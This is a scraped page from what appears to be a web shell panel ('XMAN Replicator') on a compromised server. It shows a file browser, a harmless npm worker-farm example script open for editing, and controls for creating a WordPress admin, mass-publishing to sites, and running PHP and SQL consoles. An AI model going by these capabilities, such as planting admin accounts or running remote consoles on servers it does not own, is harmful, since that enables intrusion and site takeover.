🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
usr
/
lib
/
node_modules
/
npm
/
node_modules
/
worker-farm
/
examples
/
basic
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-03-03 22:36
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-03-03 22:36
🔄
🗑️
🗑️📁
⬇️
🔒
child.js
113 B
-rw-r--r--
2021-03-10 14:36
✏️
🔄
🗑️
⬇️
🔒
index.js
287 B
-rw-r--r--
2021-03-10 14:36
✏️
🔄
🗑️
⬇️
🔒
Edit: index.js
'use strict' let workerFarm = require('../../') , workers = workerFarm(require.resolve('./child')) , ret = 0 for (let i = 0; i < 10; i++) { workers('#' + i + ' FOO', function (err, outp) { console.log(outp) if (++ret == 10) workerFarm.end(workers) }) }
Save
PHP Console
Execute
SQL Console
Execute